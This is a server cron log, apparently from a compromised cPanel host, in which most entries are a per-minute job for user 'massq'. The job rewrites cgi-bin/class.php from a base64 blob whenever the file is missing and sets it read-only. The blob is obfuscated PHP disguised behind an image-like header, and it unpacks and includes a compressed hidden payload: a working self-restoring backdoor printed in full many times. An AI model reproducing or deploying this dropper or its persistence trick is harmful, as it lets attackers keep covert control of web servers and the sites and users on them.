Nov 12 11:26:01 server CROND[20297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:27:01 server CROND[21105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:27:01 server CROND[21106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 11:28:01 server CROND[21914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:29:01 server CROND[22729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:30:01 server CROND[23554]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 11:30:01 server CROND[23556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:30:01 server CROND[23557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:30:01 server CROND[23555]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:31:01 server CROND[24442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:32:01 server CROND[25185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:33:01 server CROND[25995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:34:01 server CROND[26914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:35:01 server CROND[27753]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 11:35:01 server CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 11:35:01 server CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 11:35:01 server CROND[27760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:35:01 server CROND[27761]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 11:36:01 server CROND[28630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:37:01 server CROND[29442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 11:38:01 server CROND[30278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
